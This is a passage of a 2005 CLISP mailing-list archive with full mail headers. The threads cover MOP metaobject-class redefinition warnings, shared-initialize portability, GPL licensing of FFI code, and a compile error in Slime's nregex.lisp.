2005 19:23:18 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold User-Agent: KMail/1.5 Cc: Dan Corkill References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200506102123.17014.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: shared-initialize & "Redefining metaobject class" warning Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 10 12:34:26 2005 X-Original-Date: Fri, 10 Jun 2005 21:23:17 +0200 Sam Steingold wrote: > it appears that the "Redefining metaobject class has no effect" warning > that I complained about recently is not so innocuous as it appears to > be. Consider this file: > si.lisp: > ;;; > --------------------------------------------------------------------------- > (defclass standard-event-class (standard-class) > ((event-metaclass :initarg :event-metaclass :initform nil))) > > (defmethod shared-initialize ((class standard-event-class) > slot-names &rest initargs &key) > (declare (ignore slot-names initargs)) > (print "Running shared-initialize") > (call-next-method)) > (defclass foo () > () > (:metaclass standard-event-class)) > ;;; > --------------------------------------------------------------------------- This file is unportable. The MOP, section "Initialization of Class Metaobjects", says "Portable programs must not define methods on SHARED-INITIALIZE". So, you cannot expect this to work in any implementation. The way to achieve what you want is therefore to define around/before/after methods on INITIALIZE-INSTANCE and REINITIALIZE-INSTANCE. Bruno From bruno@clisp.org Fri Jun 10 12:36:18 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DgpIf-00048u-Ht for clisp-list@lists.sourceforge.net; Fri, 10 Jun 2005 12:36:17 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DgpIe-0004Bb-O1 for clisp-list@lists.sourceforge.net; Fri, 10 Jun 2005 12:36:17 -0700 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.4/8.13.3) with ESMTP id j5AJa9Qb004757; Fri, 10 Jun 2005 21:36:09 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id j5AJa33T009159; Fri, 10 Jun 2005 21:36:04 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 329623B45A; Fri, 10 Jun 2005 19:34:57 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold User-Agent: KMail/1.5 References: <200506101840.05914.bruno@clisp.org> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200506102134.55987.bruno@clisp.org> X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: shared-initialize & "Redefining metaobject class" warning Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 10 12:38:12 2005 X-Original-Date: Fri, 10 Jun 2005 21:34:55 +0200 Sam Steingold wrote: > > between the first and the second LOAD, > > there is only _one_ load (and one compile-file) You know that DEFCLASS and DEFMACRO forms, in clisp, are evaluated by compile-file. Therefore, in clisp, compiling a file containing only DEFCLASS or DEFMACRO forms has the same effects on the current session as LOADing it. > this warning is unusual and distracting. > usually a warning means that the user is doing something wrong, so when > one sees a warning, the first question is: "how do I avoid it?" What the user is doing wrong, is to attempt to redefine a metaobject class. A subclass of STANDARD-CLASS is a "metaobject class" (see the MOP p. 3), and the MOP says "metaobject classes may not be redefined" (p. 57). How to avoid it? Put the definitions of metaobject classes into a separate file, and only ever load it once per session. COMPILE-FILEing it may count as a LOAD, in this context, in some implementations (including clisp). > > 2) The redefinition of FOO. This is unrelated to what happens in 1). > > Here clisp notices that the form already reflects the current state of > > the class FOO, and that there's nothing to change about it. So, as an > > optimization, it doesn't call reinitialize-instance. > > but initialize-instance was not called yet at all, How do you know? The code that you showed put a method on SHARED-INITIALIZE. In order to infer that INITIALIZE-INSTANCE wasn't called, you would have to know about the internals of INITIALIZE-INSTANCE on a CLASS object. You don't know anything about this. All you know from CLHS is that INITIALIZE-INSTANCE calls SHARED-INITIALIZE, on STANDARD-OBJECT objects. Bruno From dancorkill@comcast.net Fri Jun 10 12:56:47 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DgpcV-0005Ac-2W for clisp-list@lists.sourceforge.net; Fri, 10 Jun 2005 12:56:47 -0700 Received: from rwcrmhc11.comcast.net ([204.127.198.35]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DgpcU-0005yk-7n for clisp-list@lists.sourceforge.net; Fri, 10 Jun 2005 12:56:46 -0700 Received: from [192.168.240.100] (c-24-60-189-44.hsd1.ma.comcast.net[24.60.189.44]) by comcast.net (rwcrmhc11) with ESMTP id <2005061019563401300ftltie>; Fri, 10 Jun 2005 19:56:40 +0000 Message-ID: <42A9F071.7020504@comcast.net> From: Dan Corkill Reply-To: Dan Corkill User-Agent: Mozilla Thunderbird 1.0.2-1.3.3 (X11/20050513) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Bruno Haible CC: clisp-list@lists.sourceforge.net, Sam Steingold References: <200506102123.17014.bruno@clisp.org> In-Reply-To: <200506102123.17014.bruno@clisp.org> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: shared-initialize & "Redefining metaobject class" warning Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 10 12:58:42 2005 X-Original-Date: Fri, 10 Jun 2005 15:56:33 -0400 >>(defmethod shared-initialize ((class standard-event-class) >> slot-names &rest initargs &key) >> (declare (ignore slot-names initargs)) >> (print "Running shared-initialize") >> (call-next-method)) >> >>This file is unportable. The MOP, section "Initialization of Class Metaobjects", >>says "Portable programs must not define methods on SHARED-INITIALIZE". So, >>you cannot expect this to work in any implementation. >> >>The way to achieve what you want is therefore to define around/before/after >>methods on INITIALIZE-INSTANCE and REINITIALIZE-INSTANCE. >> >>Bruno >> >> >> The defmethod should have been an :around method (an omission in creating the simple test example). Correcting the method to be an :around method exhibits the same behavior in CLISP. -- Dan From bruno@clisp.org Fri Jun 10 14:08:02 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DgqjS-00005h-0t for clisp-list@lists.sourceforge.net; Fri, 10 Jun 2005 14:08:02 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DgqjQ-00073u-9b for clisp-list@lists.sourceforge.net; Fri, 10 Jun 2005 14:08:01 -0700 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.4/8.13.3) with ESMTP id j5AL7i3A006097; Fri, 10 Jun 2005 23:07:44 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id j5AL7dX3011692; Fri, 10 Jun 2005 23:07:39 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 709D13B45A; Fri, 10 Jun 2005 21:06:32 +0000 (UTC) From: Bruno Haible To: Dan Corkill , Dan Corkill Subject: Re: [clisp-list] Re: shared-initialize & "Redefining metaobject class" warning User-Agent: KMail/1.5 Cc: clisp-list@lists.sourceforge.net References: <200506102134.55987.bruno@clisp.org> <42A9F564.8020405@comcast.net> In-Reply-To: <42A9F564.8020405@comcast.net> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200506102306.31306.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 10 14:09:59 2005 X-Original-Date: Fri, 10 Jun 2005 23:06:31 +0200 Dan Corkill wrote: > >How to avoid it? Put the definitions of metaobject classes into a separate > >file, and only ever load it once per session. COMPILE-FILEing it may count > >as a LOAD, in this context, in some implementations (including clisp). > > Several observations: > > 1. At best, it is a semantically equivalent "redefinition" Yes, but the MOP authors did not specify the trivial/no-op cases of redefinition should be treated differently than the ones which really make a change to the class. Anyway, clisp doesn't signal an error here, so in the case of a trivial/no-op redefinition you are lucky. > 2. Such a restriction prevents one from ever reloading or recompiling > a file in the same lisp image (must move metaobject classes into a > "special" once-only status file). Yes. These are the constraints on the user of the MOP. The benefit of this constraint is that it allows a Lisp implementation with MOP to have the same runtime speed than a Lisp implementation with a non-customizable CLOS. Without this constraint, the CLOS operations in clisp would have become ca. twice as slow. > 3. Seems to muddy the compilation versus load/execution > environments. I don't think I understand how eval-when semantics > relate to metaobject class definitions given this model. One has > to create the load-time environment at the time a metaobject class > is compiled (not loaded). Yes. The runtime environment and the compile-time environment need to have a certain consistency regarding classes. See ANSI CL: HyperSpec/Body/mac_defclass.html "If a defclass form appears as a top level form, the compiler must make the class name be recognized as a valid type name in subsequent declarations (as for deftype) and be recognized as a valid class name for defmethod parameter specializers and for use as the :metaclass option of a subsequent defclass. The compiler must make the class definition available to be returned by find-class when its environment argument is a value received as the environment parameter of a macro." HyperSpec/Body/sec_3-2-2-3.html "Classes defined by defclass in the compilation environment must be defined at run time to have the same superclasses and same metaclass. This implies that subtype/supertype relationships of type specifiers must not change between compile time and run time." Bruno From sds@gnu.org Fri Jun 10 14:15:15 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DgqqR-0000RX-OY for clisp-list@lists.sourceforge.net; Fri, 10 Jun 2005 14:15:15 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DgqqO-00084w-6j for clisp-list@lists.sourceforge.net; Fri, 10 Jun 2005 14:15:15 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) (65.78.14.10) by smtp04.mrf.mail.rcn.net with ESMTP; 10 Jun 2005 17:15:11 -0400 X-IronPort-AV: i="3.93,190,1115006400"; d="scan'208"; a="45674567:sNHT21584248" To: clisp-list@lists.sourceforge.net, Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200506102134.55987.bruno@clisp.org> (Bruno Haible's message of "Fri, 10 Jun 2005 21:34:55 +0200") References: <200506101840.05914.bruno@clisp.org> <200506102134.55987.bruno@clisp.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: shared-initialize & "Redefining metaobject class" warning Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 10 14:16:39 2005 X-Original-Date: Fri, 10 Jun 2005 17:14:33 -0400 > * Bruno Haible [2005-06-10 21:34:55 +0200]: > >> this warning is unusual and distracting. >> usually a warning means that the user is doing something wrong, so when >> one sees a warning, the first question is: "how do I avoid it?" > > What the user is doing wrong, is to attempt to redefine a metaobject class. > A subclass of STANDARD-CLASS is a "metaobject class" (see the MOP p. 3), > and the MOP says "metaobject classes may not be redefined" (p. 57). the redefinition is semantically equivalent to the original definition and should be permitted. this is the issue of being nice to the user. > How to avoid it? Put the definitions of metaobject classes into a > separate file, and only ever load it once per session. this is an excessive requirement. the users will not like it. "once per session" contradicts the lisp idea that you restart your session only if something horrible happens. PS. please set your mailer to respect "mail-copies-to:" and "reply-to:" headers -- Sam Steingold (http://www.podval.org/~sds) running w2k Time would have been the best Teacher, if it did not kill all its students. From lisp-clisp-list@m.gmane.org Fri Jun 10 14:46:09 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DgrKD-0001ml-4I for clisp-list@lists.sourceforge.net; Fri, 10 Jun 2005 14:46:01 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DgrKA-0001KP-8H for clisp-list@lists.sourceforge.net; Fri, 10 Jun 2005 14:46:00 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1DgrF4-0008DR-FW for clisp-list@lists.sourceforge.net; Fri, 10 Jun 2005 23:40:42 +0200 Received: from codephrenic.plus.com ([81.174.168.223]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 10 Jun 2005 23:40:42 +0200 Received: from rcj.putman by codephrenic.plus.com with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 10 Jun 2005 23:40:42 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Richard Putman Organization: CodePhrenic Lines: 63 Message-ID: References: <42A73D25.5060601@nyc.rr.com> <200506091433.52062.bruno@clisp.org> <42A87B09.7010902@nyc.rr.com> <200506092018.50094.bruno@clisp.org> Reply-To: rcj.putman@physics.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: codephrenic.plus.com User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chestnut, windows-nt) Cancel-Lock: sha1:Kzugq8FjOXyrUnKUPFJXDtpLsww= X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: License Question in re FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 10 14:47:14 2005 X-Original-Date: Fri, 10 Jun 2005 22:42:08 +0100 Hi Bruno, Bruno Haible writes: > Kenny Tilton wrote: >> Assuming UFFI continues its "leats common denominator"-only >> policy (nothing gets in that does not run everywhere), are you prepared >> to make a flat out statement that they are safe (so we do not need to >> hire lawyers to meditate on the fine points)? > > Yes, such a policy, that ensures that all parts of the package work equally > well in 5 different CL implementations, together with a license that is GPL- > compatible (I heard UFFI's license is that), is a safe way to ensure that > clisp's COPYRIGHT exception (b) will apply to programs that use the package. > ok so would you consider changing the last paragraph of the license: "Foreign non-Lisp code that is linked with CLISP or loaded into CLISP through dynamic linking is not exempted from this copyright. I.e. such code, when distributed for use with CLISP, must be distributed under the GPL." I had taken that last sentence to mean that I can't call any dll's that aren't GPL'd. My understanding now is that if, for instance I wanted to distributed a dumped clisp image of some lisp code that say called MessageBox under Windows via ffi; I can't because it 'doesn't run under many lisps'. But if I write a interface file that includes the appropriate definitions for a number of other lisps to call MessageBox and distribute that interface file under say a FreeBSD license I can then distributed the dumped image? As another example say I wanted to write a windows dialog generator in clisp. If I wrote a package that allowed user lisp to call a dll which generated some windows and called back into the lisp image to say fill them with text, wouldn't I _have_ to distribute that package as GPL? And anyone who wanted to use that dialog package would have to GPL their code too? btw I used to think, and I'm sure I heard others say, that communication via a socket is one way to separate modules to stop GPL applying across them, but from http://www.fsf.org/licensing/licenses/gpl-faq.html under 'What is the difference between "mere aggregation" and "combining two modules into one program"?' "By contrast, pipes, sockets and command-line arguments are communication mechanisms normally used between two separate programs. So when they are used for communication, the modules normally are separate programs. But if the semantics of the communication are intimate enough, exchanging complex internal data structures, that too could be a basis to consider the two parts as combined into a larger program." That sounds horribly vague to me, define 'complex internal data'. But I will confess that I have never read the entire GPL without falling asleep. -- Richard From dancorkill@comcast.net Sat Jun 11 06:22:15 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dh5wF-0005rc-2R for clisp-list@lists.sourceforge.net; Sat, 11 Jun 2005 06:22:15 -0700 Received: from rwcrmhc13.comcast.net ([204.127.198.39]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Dh5wC-0003sF-Mk for clisp-list@lists.sourceforge.net; Sat, 11 Jun 2005 06:22:14 -0700 Received: from [192.168.240.100] (c-24-60-189-44.hsd1.ma.comcast.net[24.60.189.44]) by comcast.net (rwcrmhc13) with ESMTP id <20050611132200015002uvhqe>; Sat, 11 Jun 2005 13:22:07 +0000 Message-ID: <42AAE576.1040602@comcast.net> From: Dan Corkill Reply-To: Dan Corkill User-Agent: Mozilla Thunderbird 1.0.2-1.3.3 (X11/20050513) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Bruno Haible CC: clisp-list@lists.sourceforge.net, Sam Steingold Subject: Re: [clisp-list] Re: shared-initialize & "Redefining metaobject class" warning References: <200506102134.55987.bruno@clisp.org> <42A9F564.8020405@comcast.net> <200506102306.31306.bruno@clisp.org> In-Reply-To: <200506102306.31306.bruno@clisp.org> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jun 11 06:22:40 2005 X-Original-Date: Sat, 11 Jun 2005 09:21:58 -0400 >>>How to avoid it? Put the definitions of metaobject classes into a separate >>>file, and only ever load it once per session. COMPILE-FILEing it may count >>>as a LOAD, in this context, in some implementations (including clisp). >>> Two files: si1.lisp with the metaobject class definition and :around method and si2.lisp with only the definition of class foo. si1.lisp: (in-package :common-lisp-user) (defclass standard-event-class (standard-class) ((event-metaclass :initarg :event-metaclass :initform nil))) (defmethod shared-initialize :around ((class standard-event-class) slot-names &rest initargs &key) (declare (ignore slot-names initargs)) (print "Running shared-initialize") (call-next-method)) si2.lisp: (in-package :common-lisp-user) (defclass foo () () (:metaclass standard-event-class)) Now, even if the makesystem knows not to load si1 if it has been compiled in the image: > clisp -norc i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2005 [1]> (compile-file "si1") ;; Compiling file /home/cork/si1.lisp ... ;; Wrote file /home/cork/si1.fas 0 errors, 0 warnings #P"/home/cork/si1.fas" ; NIL ; NIL [2]> (compile-file "si2") ;; Compiling file /home/cork/si2.lisp ... ;; Wrote file /home/cork/si2.fas 0 errors, 0 warnings #P"/home/cork/si2.fas" ; NIL ; NIL [3]> (load "si2") ;; Loading file /home/cork/si2.fas ... ;; Loaded file /home/cork/si2.fas T [4]> (quit) Bye. Was the :around method ever called? Is it impossible to build my si from source in one image? -- Dan From clisp@bignoli.it Sun Jun 12 08:22:11 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DhUHp-0002ME-Gn for clisp-list@lists.sourceforge.net; Sun, 12 Jun 2005 08:22:09 -0700 Received: from mail-relay-2.tiscali.it ([213.205.33.42]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DhUHn-0005b2-Om for clisp-list@lists.sourceforge.net; Sun, 12 Jun 2005 08:22:09 -0700 Received: from zayn.19216810.loc (62.10.41.40) by mail-relay-2.tiscali.it (7.1.021.3) id 420202CD00FB02F9 for clisp-list@lists.sourceforge.net; Sun, 12 Jun 2005 17:21:40 +0200 Received: from zayn.19216810.loc (IDENT:25@localhost [127.0.0.1]) by zayn.19216810.loc (8.13.3/8.13.3) with ESMTP id j5CFMGjr024219 for ; Sun, 12 Jun 2005 17:22:17 +0200 Received: (from aurelio@localhost) by zayn.19216810.loc (8.13.3/8.13.3/Submit) id j5CFAtTC022351; Sun, 12 Jun 2005 17:10:55 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17068.20602.685052.575434@zayn.19216810.loc> To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.19 under Emacs 21.3.2 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] CVS HEAD: error compiling nregex.lisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jun 12 08:25:11 2005 X-Original-Date: Sun, 12 Jun 2005 17:10:50 +0200 Yesterday I updated my local source tree to CVS HEAD and recompiled successfully CLISP. Then I tried to recompile Slime and got the following compilation error: ;; Compiling file /usr/local/src/slime/nregex.lisp ... *** - SYSTEM::%STRUCTURE-REF: NIL is not a structure of type SYSTEM::ANODE The following restarts are available: SKIP :R1 skip this form and proceed STOP :R2 stop loading file ABORT :R3 ABORT Break 1 NREGEX[2]> The problem is in the second clause of the following COND (lines 470-492): (cond ((listp (nth (1+ elt) expression)) ;; ;; This is a single character wild card so ;; do the simple form. ;; (setf result `((let ((oindex index)) (block compare (do () (nil) ,(nth (1+ elt) expression))) (do ((start index (1- start))) ((< start oindex) nil) (let ((index start)) (block compare ,@result)))))) ******* (incf elt)) here! ---> (t ******* ;; ;; This is a subgroup repeated so I must build ;; the loop using several values. ;; )) and it disappears by simply adding a seccond "t" to the clause. The lisp file can however be succesfully LOADed without any modification. From sds@gnu.org Sun Jun 12 10:00:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DhVpC-0006aD-0x for clisp-list@lists.sourceforge.net; Sun, 12 Jun 2005 10:00:42 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DhVp9-0000Ap-Ft for clisp-list@lists.sourceforge.net; Sun, 12 Jun 2005 10:00:41 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) (65.78.14.10) by smtp04.mrf.mail.rcn.net with ESMTP; 12 Jun 2005 12:59:35 -0400 X-IronPort-AV: i="3.93,192,1115006400"; d="scan'208"; a="46175836:sNHT22703456" To: clisp-list@lists.sourceforge.net, Aurelio Bignoli Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17068.20602.685052.575434@zayn.19216810.loc> (Aurelio Bignoli's message of "Sun, 12 Jun 2005 17:10:50 +0200") References: <17068.20602.685052.575434@zayn.19216810.loc> Mail-Followup-To: clisp-list@lists.sourceforge.net, Aurelio Bignoli Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: CVS HEAD: error compiling nregex.lisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jun 12 10:03:12 2005 X-Original-Date: Sun, 12 Jun 2005 12:58:57 -0400 > * Aurelio Bignoli [2005-06-12 17:10:50 +0200]: > > The problem is in the second clause of the following COND (lines 470-492): > > (cond ((listp (nth (1+ elt) expression)) > ;; > ;; This is a single character wild card so > ;; do the simple form. > ;; > (setf result > `((let ((oindex index)) > (block compare > (do () > (nil) > ,(nth (1+ elt) expression))) > (do ((start index (1- start))) > ((< start oindex) nil) > (let ((index start)) > (block compare > 